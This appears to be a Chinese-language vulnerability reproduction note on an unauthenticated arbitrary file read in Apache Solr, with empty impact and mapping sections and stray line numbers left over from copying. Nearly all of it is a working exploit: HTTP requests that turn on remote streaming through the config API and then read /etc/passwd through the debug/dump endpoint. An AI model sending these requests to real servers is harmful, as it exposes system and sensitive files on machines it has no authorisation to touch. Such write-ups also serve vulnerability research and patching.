# Apache Solr config 任意文件读取漏洞
# 漏洞描述
Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文件
# 漏洞影响
# 网络测绘
# 漏洞复现
访问 Solr Admin 管理员页面
获取core的信息
/solr/admin/cores?indexInfo=false&wt=json
1
发送请求
POST /solr/core/config
Content-Type: application/json
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true},"olrkzv64tv":"="}
1
2
3
4
2
3
4
再进行文件读取
POST /solr/core/debug/dump?param=ContentStreams
stream.url=file:///etc/passwd
1
2
3
2
3
